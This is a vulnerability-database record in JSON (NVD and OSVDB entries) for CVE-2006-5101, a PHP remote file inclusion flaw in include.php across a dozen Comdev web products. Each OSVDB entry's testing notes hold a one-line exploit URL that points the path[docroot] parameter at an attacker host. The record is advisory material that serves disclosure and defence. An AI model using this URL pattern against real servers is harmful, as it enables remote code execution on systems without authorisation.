{"id": "CVE-2006-5101", "bulletinFamily": "NVD", "title": "CVE-2006-5101", "description": "PHP remote file inclusion vulnerability in include.php in Comdev CSV Importer 3.1 and possibly 4.1, as used in (1) Comdev Contact Form 3.1, (2) Comdev Customer Helpdesk 3.1, (3) Comdev Events Calendar 3.1, (4) Comdev FAQ Support 3.1, (5) Comdev Guestbook 3.1, (6) Comdev Links Directory 3.1, (7) Comdev News Publisher 3.1, (8) Comdev Newsletter 3.1, (9) Comdev Photo Gallery 3.1, (10) Comdev Vote Caster 3.1, (11) Comdev Web Blogger 3.1, and (12) Comdev eCommerce 3.1, allows remote attackers to execute arbitrary PHP code via a URL in the path[docroot] parameter. NOTE: it has been reported that 4.1 versions might also be affected.", "published": "2006-10-03T00:03:00", "modified": "2017-07-19T21:33:31", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-5101", "reporter": "NVD", "references": ["https://exchange.xforce.ibmcloud.com/vulnerabilities/29220", "http://www.vupen.com/english/advisories/2006/3815", "http://www.securityfocus.com/archive/1/archive/1/447201/100/0/threaded", "http://www.securityfocus.com/archive/1/archive/1/447187/100/0/threaded", "http://www.vupen.com/english/advisories/2006/3804", "http://www.vupen.com/english/advisories/2006/3813", "http://www.vupen.com/english/advisories/2006/3810", "http://www.securityfocus.com/archive/1/archive/1/447188/100/0/threaded", "http://www.securityfocus.com/archive/1/archive/1/447184/100/0/threaded", "http://securityreason.com/securityalert/1658", "http://www.securityfocus.com/archive/1/archive/1/447213/100/0/threaded", "http://www.vupen.com/english/advisories/2006/3806", "http://www.securityfocus.com/archive/1/archive/1/447190/100/0/threaded", "http://www.securityfocus.com/archive/1/archive/1/447185/100/0/threaded", "http://www.securityfocus.com/archive/1/archive/1/447186/100/0/threaded", "http://www.securityfocus.com/archive/1/archive/1/447194/100/0/threaded", "http://www.securityfocus.com/archive/1/archive/1/447193/100/0/threaded", "http://www.securityfocus.com/archive/1/archive/1/447207/100/0/threaded", "http://www.vupen.com/english/advisories/2006/3807", "http://www.vupen.com/english/advisories/2006/3812", "http://www.vupen.com/english/advisories/2006/3808", "http://www.vupen.com/english/advisories/2006/3805", "http://www.vupen.com/english/advisories/2006/3811", "http://www.securityfocus.com/archive/1/archive/1/447192/100/0/threaded", "http://www.vupen.com/english/advisories/2006/3814", "http://www.vupen.com/english/advisories/2006/3809", "http://www.vupen.com/english/advisories/2006/3803", "http://www.securityfocus.com/archive/1/archive/1/447209/100/0/threaded"], "cvelist": ["CVE-2006-5101"], "type": "cve", "lastseen": "2017-07-20T10:49:34", "history": [{"bulletin": {"assessment": {"href": "", "name": "", "system": ""}, "bulletinFamily": "NVD", "cpe": ["cpe:/a:comdev:comdev_csv_importer:4.1", "cpe:/a:comdev:comdev_csv_importer:3.1"], "cvelist": ["CVE-2006-5101"], "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "description": "PHP remote file inclusion vulnerability in include.php in Comdev CSV Importer 3.1 and possibly 4.1, as used in (1) Comdev Contact Form 3.1, (2) Comdev Customer Helpdesk 3.1, (3) Comdev Events Calendar 3.1, (4) Comdev FAQ Support 3.1, (5) Comdev Guestbook 3.1, (6) Comdev Links Directory 3.1, (7) Comdev News Publisher 3.1, (8) Comdev Newsletter 3.1, (9) Comdev Photo Gallery 3.1, (10) Comdev Vote Caster 3.1, (11) Comdev Web Blogger 3.1, and (12) Comdev eCommerce 3.1, allows remote attackers to execute arbitrary PHP code via a URL in the path[docroot] parameter. NOTE: it has been reported that 4.1 versions might also be affected.", "edition": 1, "enchantments": {}, "hash": "a6503578932bda21c3d29b0d654d618b70a7168cbf9abbc3391ecd2df1145913", "hashmap": [{"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "scanner"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "reporter"}, {"hash": "e13fe815d3e570c21cfa8b2ef894453d", "key": "description"}, {"hash": "140f4178aa0a29933d6848282e7a77eb", "key": "modified"}, {"hash": "6d3f4796275bb54c21a33b82f399cc6d", "key": "assessment"}, {"hash": "e5d275b3ebd62646b78320753699e02e", "key": "cvss"}, {"hash": "826e11216632a963693564f4b78aeab5", "key": "cpe"}, {"hash": "63ce0842a26a43d06058ff0fac088ab9", "key": "href"}, {"hash": "2483022071b77806987ceb2b645fa4f9", "key": "cvelist"}, {"hash": "c419a7dbcecf72657188292fc81b66f1", "key": "published"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "6b2698851c319910110fb8bfb926273d", "key": "references"}, {"hash": "57d8a1f182863811703dddd12c91d15f", "key": "title"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-5101", "id": "CVE-2006-5101", "lastseen": "2016-09-03T07:38:50", "modified": "2011-08-22T00:00:00", "objectVersion": "1.2", "published": "2006-10-03T00:03:00", "references": ["http://www.vupen.com/english/advisories/2006/3815", "http://www.securityfocus.com/archive/1/archive/1/447201/100/0/threaded", "http://www.securityfocus.com/archive/1/archive/1/447187/100/0/threaded", "http://www.vupen.com/english/advisories/2006/3804", "http://www.vupen.com/english/advisories/2006/3813", "http://www.vupen.com/english/advisories/2006/3810", "http://www.securityfocus.com/archive/1/archive/1/447188/100/0/threaded", "http://www.securityfocus.com/archive/1/archive/1/447184/100/0/threaded", "http://securityreason.com/securityalert/1658", "http://www.securityfocus.com/archive/1/archive/1/447213/100/0/threaded", "http://www.vupen.com/english/advisories/2006/3806", "http://www.securityfocus.com/archive/1/archive/1/447190/100/0/threaded", "http://www.securityfocus.com/archive/1/archive/1/447185/100/0/threaded", "http://www.securityfocus.com/archive/1/archive/1/447186/100/0/threaded", "http://www.securityfocus.com/archive/1/archive/1/447194/100/0/threaded", "http://www.securityfocus.com/archive/1/archive/1/447193/100/0/threaded", "http://www.securityfocus.com/archive/1/archive/1/447207/100/0/threaded", "http://www.vupen.com/english/advisories/2006/3807", "http://xforce.iss.net/xforce/xfdb/29220", "http://www.vupen.com/english/advisories/2006/3812", "http://www.vupen.com/english/advisories/2006/3808", "http://www.vupen.com/english/advisories/2006/3805", "http://www.vupen.com/english/advisories/2006/3811", "http://www.securityfocus.com/archive/1/archive/1/447192/100/0/threaded", "http://www.vupen.com/english/advisories/2006/3814", "http://www.vupen.com/english/advisories/2006/3809", "http://www.vupen.com/english/advisories/2006/3803", "http://www.securityfocus.com/archive/1/archive/1/447209/100/0/threaded"], "reporter": "NVD", "scanner": [], "title": "CVE-2006-5101", "type": "cve", "viewCount": 0}, "differentElements": ["references", "modified"], "edition": 1, "lastseen": "2016-09-03T07:38:50"}], "edition": 2, "hashmap": [{"key": "assessment", "hash": "6d3f4796275bb54c21a33b82f399cc6d"}, {"key": "bulletinFamily", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "cpe", "hash": "826e11216632a963693564f4b78aeab5"}, {"key": "cvelist", "hash": "2483022071b77806987ceb2b645fa4f9"}, {"key": "cvss", "hash": "e5d275b3ebd62646b78320753699e02e"}, {"key": "description", "hash": "e13fe815d3e570c21cfa8b2ef894453d"}, {"key": "href", "hash": "63ce0842a26a43d06058ff0fac088ab9"}, {"key": "modified", "hash": "a35cd24f9c09217e7a079772870235f4"}, {"key": "published", "hash": "c419a7dbcecf72657188292fc81b66f1"}, {"key": "references", "hash": "aa20d72e87d4b483380f96f8c9516dc0"}, {"key": "reporter", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "scanner", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "title", "hash": "57d8a1f182863811703dddd12c91d15f"}, {"key": "type", "hash": "1716b5fcbb7121af74efdc153d0166c5"}], "hash": "91c7b286c5a7c27849cc44cbc166b43aa1a011dbe0020667721114d1a6a3da6c", "viewCount": 0, "enchantments": {"score": {"value": 7.5, "vector": "NONE", "modified": "2017-07-20T10:49:34"}, "vulnersScore": 7.5}, "objectVersion": "1.3", "cpe": ["cpe:/a:comdev:comdev_csv_importer:4.1", "cpe:/a:comdev:comdev_csv_importer:3.1"], "assessment": {"href": "", "name": "", "system": ""}, "scanner": []}

{"osvdb": [{"lastseen": "2017-04-28T13:20:25", "references": [], "edition": 1, "description": "## Vulnerability Description\nComdev Newsletter contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nComdev Newsletter contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include.php?path[\"docroot\"]=http://[attacker]\n## References:\nVendor URL: http://www.comdevweb.com/\n[Secunia Advisory ID:22133](https://secuniaresearch.flexerasoftware.com/advisories/22133/)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0462.html\nISS X-Force ID: 29220\nFrSIRT Advisory: ADV-2006-3814\n[CVE-2006-5101](https://vulners.com/cve/CVE-2006-5101)\n", "reporter": "rUnViRuS(stormhacker@hotmail.com)", "published": "2006-09-27T11:03:53", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "Comdev Newsletter include.php path[docroot] Variable Remote File Inclusion", "type": "osvdb", "bulletinFamily": "software", "affectedSoftware": [{"name": "Comdev Newsletter", "version": "3.1", "operator": "eq"}, {"name": "Comdev Newsletter", "version": "4.1", "operator": "eq"}], "cvelist": ["CVE-2006-5101"], "modified": "2006-09-27T11:03:53", "href": "https://vulners.com/osvdb/OSVDB:29311", "id": "OSVDB:29311", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:25", "references": [], "edition": 1, "description": "## Vulnerability Description\nComdev Customer Helpdesk contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nComdev Customer Helpdesk contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include.php?path[\"docroot\"]=http://[attacker]\n## References:\nVendor URL: http://www.comdevweb.com/\n[Secunia Advisory ID:22154](https://secuniaresearch.flexerasoftware.com/advisories/22154/)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0453.html\nISS X-Force ID: 29220\nFrSIRT Advisory: ADV-2006-3807\n[CVE-2006-5101](https://vulners.com/cve/CVE-2006-5101)\n", "reporter": "rUnViRuS(stormhacker@hotmail.com)", "published": "2006-09-27T10:18:38", "title": "Comdev Customer Helpdesk include.php path[docroot] Variable Remote File Inclusion", "type": "osvdb", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "bulletinFamily": "software", "affectedSoftware": [{"name": "Comdev Customer Helpdesk", "version": "4.1", "operator": "eq"}, {"name": "Comdev Customer Helpdesk", "version": "3.1", "operator": "eq"}], "cvelist": ["CVE-2006-5101"], "modified": "2006-09-27T10:18:38", "href": "https://vulners.com/osvdb/OSVDB:29308", "id": "OSVDB:29308", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:25", "references": [], "edition": 1, "description": "## Vulnerability Description\nComdev Events Calendar contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nComdev Events Calendar contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include.php?path[\"docroot\"]=http://[attacker]\n## References:\nVendor URL: http://www.comdevweb.com/\n[Secunia Advisory ID:22120](https://secuniaresearch.flexerasoftware.com/advisories/22120/)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0463.html\nISS X-Force ID: 29220\nFrSIRT Advisory: ADV-2006-3815\n[CVE-2006-5101](https://vulners.com/cve/CVE-2006-5101)\n", "reporter": "rUnViRuS(stormhacker@hotmail.com)", "published": "2006-09-27T12:48:31", "title": "Comdev Events Calendar include.php path[docroot] Variable Remote File Inclusion", "type": "osvdb", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "bulletinFamily": "software", "affectedSoftware": [{"name": "Comdev Events Calendar", "version": "4.1", "operator": "eq"}, {"name": "Comdev Events Calendar", "version": "3.1", "operator": "eq"}], "cvelist": ["CVE-2006-5101"], "modified": "2006-09-27T12:48:31", "href": "https://vulners.com/osvdb/OSVDB:29300", "id": "OSVDB:29300", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:25", "references": [], "edition": 1, "description": "## Vulnerability Description\nComdev CSV Importer contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nComdev CSV Importer contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include.php?path[\"docroot\"]=http://[attacker]\n## References:\nVendor URL: http://www.comdevweb.com/\n[Secunia Advisory ID:22149](https://secuniaresearch.flexerasoftware.com/advisories/22149/)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0459.html\nISS X-Force ID: 29220\nFrSIRT Advisory: ADV-2006-3812\n[CVE-2006-5101](https://vulners.com/cve/CVE-2006-5101)\n", "reporter": "rUnViRuS(stormhacker@hotmail.com)", "published": "2006-09-27T11:33:56", "title": "Comdev CSV Importer include.php path[docroot] Variable Remote File Inclusion", "type": "osvdb", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "bulletinFamily": "software", "affectedSoftware": [{"name": "Comdev CSV Importer", "version": "4.1", "operator": "eq"}, {"name": "Comdev CSV Importer", "version": "3.1", "operator": "eq"}], "cvelist": ["CVE-2006-5101"], "modified": "2006-09-27T11:33:56", "href": "https://vulners.com/osvdb/OSVDB:29304", "id": "OSVDB:29304", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:25", "references": [], "edition": 1, "description": "## Vulnerability Description\nComdev Links Directory contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nComdev Links Directory contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include.php?path[\"docroot\"]=http://[attacker]\n## References:\nVendor URL: http://www.comdevweb.com/\n[Secunia Advisory ID:22170](https://secuniaresearch.flexerasoftware.com/advisories/22170/)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0450.html\nISS X-Force ID: 29220\nFrSIRT Advisory: ADV-2006-3805\n[CVE-2006-5101](https://vulners.com/cve/CVE-2006-5101)\n", "reporter": "rUnViRuS(stormhacker@hotmail.com)", "published": "2006-09-27T10:48:43", "title": "Comdev Links Directory include.php path[docroot] Variable Remote File Inclusion", "type": "osvdb", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "bulletinFamily": "software", "affectedSoftware": [{"name": "Comdev Links Directory", "version": "4.1", "operator": "eq"}, {"name": "Comdev Links Directory", "version": "3.1", "operator": "eq"}], "cvelist": ["CVE-2006-5101"], "modified": "2006-09-27T10:48:43", "href": "https://vulners.com/osvdb/OSVDB:29306", "id": "OSVDB:29306", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:25", "references": [], "edition": 1, "description": "## Vulnerability Description\nComdev Contact Form contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nComdev Contact Form contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include.php?path[\"docroot\"]=http://[attacker]\n## References:\nVendor URL: http://www.comdevweb.com/\n[Secunia Advisory ID:22151](https://secuniaresearch.flexerasoftware.com/advisories/22151/)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0454.html\nISS X-Force ID: 29220\nFrSIRT Advisory: ADV-2006-3811\n[CVE-2006-5101](https://vulners.com/cve/CVE-2006-5101)\n", "reporter": "rUnViRuS(stormhacker@hotmail.com)", "published": "2006-09-27T10:03:42", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "Comdev Contact Form include.php path[docroot] Variable Remote File Inclusion", "type": "osvdb", "bulletinFamily": "software", "affectedSoftware": [{"name": "Comdev Contact Form", "version": "4.1", "operator": "eq"}, {"name": "Comdev Contact Form", "version": "3.1", "operator": "eq"}], "cvelist": ["CVE-2006-5101"], "modified": "2006-09-27T10:03:42", "href": "https://vulners.com/osvdb/OSVDB:29309", "id": "OSVDB:29309", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:25", "references": [], "edition": 1, "description": "## Vulnerability Description\nComdev Web Blogger contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nComdev Web Blogger contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include.php?path[\"docroot\"]=http://[attacker]\n## References:\nVendor URL: http://www.comdevweb.com/\n[Secunia Advisory ID:22153](https://secuniaresearch.flexerasoftware.com/advisories/22153/)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0456.html\nISS X-Force ID: 29220\nFrSIRT Advisory: ADV-2006-3813\n[CVE-2006-5101](https://vulners.com/cve/CVE-2006-5101)\n", "reporter": "rUnViRuS(stormhacker@hotmail.com)", "published": "2006-09-27T11:50:22", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "Comdev Web Blogger include.php path[docroot] Variable Remote File Inclusion", "type": "osvdb", "bulletinFamily": "software", "affectedSoftware": [{"name": "Comdev Web Blogger", "version": "3.1", "operator": "eq"}], "cvelist": ["CVE-2006-5101"], "modified": "2006-09-27T11:50:22", "href": "https://vulners.com/osvdb/OSVDB:29303", "id": "OSVDB:29303", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:25", "references": [], "edition": 1, "description": "## Vulnerability Description\nComdev FAQ Support contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nComdev FAQ Support contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include.php?path[\"docroot\"]=http://[attacker]\n## References:\nVendor URL: http://www.comdevweb.com/\n[Secunia Advisory ID:22135](https://secuniaresearch.flexerasoftware.com/advisories/22135/)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0461.html\nISS X-Force ID: 29220\nFrSIRT Advisory: ADV-2006-3808\n[CVE-2006-5101](https://vulners.com/cve/CVE-2006-5101)\n", "reporter": "rUnViRuS(stormhacker@hotmail.com)", "published": "2006-09-27T13:03:33", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "Comdev FAQ Support include.php path[docroot] Variable Remote File Inclusion", "type": "osvdb", "bulletinFamily": "software", "affectedSoftware": [{"name": "Comdev FAQ Support", "version": "3.1", "operator": "eq"}, {"name": "Comdev FAQ Support", "version": "4.1", "operator": "eq"}], "cvelist": ["CVE-2006-5101"], "modified": "2006-09-27T13:03:33", "href": "https://vulners.com/osvdb/OSVDB:29299", "id": "OSVDB:29299", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:25", "references": [], "edition": 1, "description": "## Vulnerability Description\nComdev Photo Gallery contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nComdev Photo Gallery contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include.php?path[\"docroot\"]=http://[attacker]\n## References:\nVendor URL: http://www.comdevweb.com/\n[Secunia Advisory ID:22169](https://secuniaresearch.flexerasoftware.com/advisories/22169/)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0452.html\nISS X-Force ID: 29220\nFrSIRT Advisory: ADV-2006-3804\n[CVE-2006-5101](https://vulners.com/cve/CVE-2006-5101)\n", "reporter": "rUnViRuS(stormhacker@hotmail.com)", "published": "2006-09-27T12:33:29", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "Comdev Photo Gallery include.php path[docroot] Variable Remote File Inclusion", "type": "osvdb", "bulletinFamily": "software", "affectedSoftware": [{"name": "Comdev Photo Gallery", "version": "4.1", "operator": "eq"}, {"name": "Comdev Photo Gallery", "version": "3.1", "operator": "eq"}], "cvelist": ["CVE-2006-5101"], "modified": "2006-09-27T12:33:29", "href": "https://vulners.com/osvdb/OSVDB:29301", "id": "OSVDB:29301", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:25", "references": [], "edition": 1, "description": "## Vulnerability Description\nComdev Vote Caster contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nComdev Vote Caster contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include.php not properly sanitizing user input supplied to the 'path[docroot]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/include.php?path[\"docroot\"]=http://[attacker]\n## References:\nVendor URL: http://www.comdevweb.com/\n[Secunia Advisory ID:22157](https://secuniaresearch.flexerasoftware.com/advisories/22157/)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0451.html\nISS X-Force ID: 29220\nFrSIRT Advisory: ADV-2006-3803\n[CVE-2006-5101](https://vulners.com/cve/CVE-2006-5101)\n", "reporter": "rUnViRuS(stormhacker@hotmail.com)", "published": "2006-09-27T09:48:46", "title": "Comdev Vote Caster include.php path[docroot] Variable Remote File Inclusion", "type": "osvdb", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "bulletinFamily": "software", "affectedSoftware": [{"name": "Comdev Vote Caster", "version": "4.1", "operator": "eq"}, {"name": "Comdev Vote Caster", "version": "3.1", "operator": "eq"}], "cvelist": ["CVE-2006-5101"], "modified": "2006-09-27T09:48:46", "href": "https://vulners.com/osvdb/OSVDB:29310", "id": "OSVDB:29310", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}]}